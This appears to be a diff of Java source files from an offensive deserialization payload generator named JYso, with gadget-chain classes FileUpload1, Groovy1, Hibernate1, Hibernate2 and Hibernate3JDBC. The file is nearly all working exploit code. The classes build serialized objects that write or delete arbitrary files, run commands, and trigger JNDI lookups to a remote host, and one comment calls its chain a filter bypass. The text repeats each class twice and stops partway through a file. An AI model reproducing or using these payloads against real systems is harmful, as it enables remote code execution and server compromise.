|
||||
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
|
||||
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
||||
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
|
||||
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
|
||||
} else {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||
}
|
||||
}
|
||||
|
||||
public void release(Object obj) throws Exception {
|
||||
// otherwise the finalizer deletes the file
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.fileupload.disk.DiskFileItem;
|
||||
import org.apache.commons.io.output.DeferredFileOutputStream;
|
||||
import org.apache.commons.io.output.ThresholdingOutputStream;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.OutputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Arrays;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
|
||||
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||
}
|
||||
|
||||
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
||||
private static DiskFileItem write(String dir, byte[] data) throws Exception {
|
||||
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
||||
}
|
||||
|
||||
// writes data to an arbitrary file
|
||||
private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
|
||||
return makePayload(data.length + 1, file + "\0", file, data);
|
||||
}
|
||||
|
||||
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
|
||||
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||
// otherwise write the contents to repository temp file
|
||||
File repository = new File(repoPath);
|
||||
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
|
||||
File outputFile = new File(filePath);
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||
os.write(data);
|
||||
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||
return diskFileItem;
|
||||
}
|
||||
|
||||
@Override
|
||||
public DiskFileItem getObject(String command) throws Exception {
|
||||
|
||||
String[] parts = command.split(";");
|
||||
|
||||
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
|
||||
return copyAndDelete(parts[1], parts[2]);
|
||||
} else if (parts.length == 3 && "write".equals(parts[0])) {
|
||||
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
||||
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
|
||||
return write(parts[1], Base64.decodeBase64(parts[2]));
|
||||
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
|
||||
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
|
||||
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
|
||||
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
|
||||
} else {
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||
}
|
||||
}
|
||||
|
||||
public void release(Object obj) throws Exception {
|
||||
// otherwise the finalizer deletes the file
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,26 +1,26 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||
import org.codehaus.groovy.runtime.MethodClosure;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Groovy1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
public InvocationHandler getObject(final String command) throws Exception {
|
||||
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
||||
|
||||
final Map map = createProxy(closure, Map.class);
|
||||
|
||||
return Gadgets.createMemoizedInvocationHandler(map);
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import org.codehaus.groovy.runtime.ConvertedClosure;
|
||||
import org.codehaus.groovy.runtime.MethodClosure;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Groovy1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
public InvocationHandler getObject(final String command) throws Exception {
|
||||
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
||||
|
||||
final Map map = createProxy(closure, Map.class);
|
||||
|
||||
return Gadgets.createMemoizedInvocationHandler(map);
|
||||
}
|
||||
}
|
||||
@@ -1,175 +1,175 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.hibernate.EntityMode;
|
||||
import org.hibernate.engine.spi.TypedValue;
|
||||
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
||||
import org.hibernate.tuple.component.PojoComponentTuplizer;
|
||||
import org.hibernate.type.AbstractType;
|
||||
import org.hibernate.type.ComponentType;
|
||||
import org.hibernate.type.Type;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
/**
|
||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||
* org.hibernate.type.ComponentType.getHashCode()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies() {
|
||||
if (System.getProperty("hibernate5") != null) {
|
||||
return new String[]{
|
||||
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||
"javax.transaction:javax.transaction-api:1.2"
|
||||
};
|
||||
}
|
||||
|
||||
return new String[]{
|
||||
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
|
||||
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
|
||||
if (System.getProperty("hibernate5") != null) {
|
||||
return makeHibernate5Getter(tplClass, method);
|
||||
}
|
||||
return makeHibernate4Getter(tplClass, method);
|
||||
}
|
||||
|
||||
|
||||
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
|
||||
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
||||
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
||||
Reflections.setAccessible(bgCon);
|
||||
|
||||
if (!method.startsWith("get")) {
|
||||
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
||||
}
|
||||
|
||||
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
|
||||
|
||||
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
|
||||
Object arr = Array.newInstance(getterIf, 1);
|
||||
Array.set(arr, 0, g);
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
|
||||
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
|
||||
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
|
||||
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
|
||||
Object arr = Array.newInstance(getterIf, 1);
|
||||
Array.set(arr, 0, g);
|
||||
return arr;
|
||||
}
|
||||
|
||||
static Object makeCaller(Object tpl, Object getters) throws
|
||||
Exception {
|
||||
if (System.getProperty("hibernate3") != null) {
|
||||
return makeHibernate3Caller(tpl, getters);
|
||||
}
|
||||
return makeHibernate45Caller(tpl, getters);
|
||||
}
|
||||
|
||||
static Object makeHibernate45Caller(Object tpl, Object getters) throws
|
||||
Exception {
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
Reflections.setFieldValue(t, "componentTuplizer", tup);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||
t
|
||||
});
|
||||
|
||||
TypedValue v1 = new TypedValue(t, null);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
TypedValue v2 = new TypedValue(t, null);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return makeMap(v1, v2);
|
||||
}
|
||||
|
||||
static Object makeHibernate3Caller(Object tpl, Object getters) throws
|
||||
Exception {
|
||||
// Load at runtime to avoid dependency conflicts
|
||||
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
|
||||
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
|
||||
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
|
||||
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
HashMap hm = new HashMap();
|
||||
hm.put(EntityMode.POJO, tup);
|
||||
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
|
||||
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||
t
|
||||
});
|
||||
|
||||
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
|
||||
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return makeMap(v1, v2);
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||
return makeCaller(tpl, getters);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.hibernate.EntityMode;
|
||||
import org.hibernate.engine.spi.TypedValue;
|
||||
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
||||
import org.hibernate.tuple.component.PojoComponentTuplizer;
|
||||
import org.hibernate.type.AbstractType;
|
||||
import org.hibernate.type.ComponentType;
|
||||
import org.hibernate.type.Type;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
/**
|
||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||
* org.hibernate.type.ComponentType.getHashCode()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies() {
|
||||
if (System.getProperty("hibernate5") != null) {
|
||||
return new String[]{
|
||||
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||
"javax.transaction:javax.transaction-api:1.2"
|
||||
};
|
||||
}
|
||||
|
||||
return new String[]{
|
||||
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
|
||||
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
|
||||
if (System.getProperty("hibernate5") != null) {
|
||||
return makeHibernate5Getter(tplClass, method);
|
||||
}
|
||||
return makeHibernate4Getter(tplClass, method);
|
||||
}
|
||||
|
||||
|
||||
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
|
||||
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
||||
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
||||
Reflections.setAccessible(bgCon);
|
||||
|
||||
if (!method.startsWith("get")) {
|
||||
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
||||
}
|
||||
|
||||
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
|
||||
|
||||
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
|
||||
Object arr = Array.newInstance(getterIf, 1);
|
||||
Array.set(arr, 0, g);
|
||||
return arr;
|
||||
}
|
||||
|
||||
|
||||
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
|
||||
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
|
||||
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
|
||||
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
|
||||
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
|
||||
Object arr = Array.newInstance(getterIf, 1);
|
||||
Array.set(arr, 0, g);
|
||||
return arr;
|
||||
}
|
||||
|
||||
static Object makeCaller(Object tpl, Object getters) throws
|
||||
Exception {
|
||||
if (System.getProperty("hibernate3") != null) {
|
||||
return makeHibernate3Caller(tpl, getters);
|
||||
}
|
||||
return makeHibernate45Caller(tpl, getters);
|
||||
}
|
||||
|
||||
static Object makeHibernate45Caller(Object tpl, Object getters) throws
|
||||
Exception {
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
Reflections.setFieldValue(t, "componentTuplizer", tup);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||
t
|
||||
});
|
||||
|
||||
TypedValue v1 = new TypedValue(t, null);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
TypedValue v2 = new TypedValue(t, null);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return makeMap(v1, v2);
|
||||
}
|
||||
|
||||
static Object makeHibernate3Caller(Object tpl, Object getters) throws
|
||||
Exception {
|
||||
// Load at runtime to avoid dependency conflicts
|
||||
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
|
||||
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
|
||||
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
|
||||
|
||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
|
||||
|
||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||
HashMap hm = new HashMap();
|
||||
hm.put(EntityMode.POJO, tup);
|
||||
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
|
||||
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
|
||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||
t
|
||||
});
|
||||
|
||||
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
|
||||
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v1, "value", tpl);
|
||||
Reflections.setFieldValue(v1, "type", t);
|
||||
|
||||
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||
Reflections.setFieldValue(v2, "value", tpl);
|
||||
Reflections.setFieldValue(v2, "type", t);
|
||||
|
||||
return makeMap(v1, v2);
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||
return makeCaller(tpl, getters);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,56 +1,56 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
/**
|
||||
* Another application filter bypass
|
||||
* <p>
|
||||
* Needs a getter invocation that is provided by hibernate here
|
||||
* <p>
|
||||
* javax.naming.InitialContext.InitialContext.lookup()
|
||||
* com.sun.rowset.JdbcRowSetImpl.connect()
|
||||
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
|
||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||
* org.hibernate.type.ComponentType.getHashCode()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||
* <p>
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||
* <p>
|
||||
* Arg:
|
||||
* - JNDI name (i.e. rmi:<host>)
|
||||
* <p>
|
||||
* Yields:
|
||||
* - JNDI lookup invocation (e.g. connect to remote RMI)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies() {
|
||||
return Hibernate1.getDependencies();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(command);
|
||||
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
/**
|
||||
* Another application filter bypass
|
||||
* <p>
|
||||
* Needs a getter invocation that is provided by hibernate here
|
||||
* <p>
|
||||
* javax.naming.InitialContext.InitialContext.lookup()
|
||||
* com.sun.rowset.JdbcRowSetImpl.connect()
|
||||
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
|
||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||
* org.hibernate.type.ComponentType.getHashCode()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||
* <p>
|
||||
* <p>
|
||||
* Requires:
|
||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||
* <p>
|
||||
* Arg:
|
||||
* - JNDI name (i.e. rmi:<host>)
|
||||
* <p>
|
||||
* Yields:
|
||||
* - JNDI lookup invocation (e.g. connect to remote RMI)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
|
||||
public static String[] getDependencies() {
|
||||
return Hibernate1.getDependencies();
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(command);
|
||||
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,52 +1,52 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
|
||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
|
||||
CtClass serializable = pool.get("java.io.Serializable");
|
||||
driverconimpl.addInterface(serializable);
|
||||
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
|
||||
insertField(driverconimpl, "url", "private String url;");
|
||||
insertField(driverconimpl, "poolSize", "private int poolSize;");
|
||||
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
|
||||
|
||||
|
||||
CtMethod make = CtMethod.make(
|
||||
"public void configure(java.util.Map configurationValues) { " +
|
||||
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
|
||||
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
|
||||
"this.pool = new java.util.ArrayList();" +
|
||||
"}", driverconimpl);
|
||||
driverconimpl.addMethod(make);
|
||||
|
||||
|
||||
Class<?> clazz = driverconimpl.toClass();
|
||||
Object o1 = clazz.newInstance();
|
||||
HashMap<Object, Object> map1 = new HashMap<>();
|
||||
map1.put("hibernate.connection.url", command);
|
||||
map1.put("hibernate.connection.pool_size", "0");
|
||||
|
||||
clazz.getMethod("configure", Map.class).invoke(o1, map1);
|
||||
|
||||
return getFastjsonSink(o1);
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
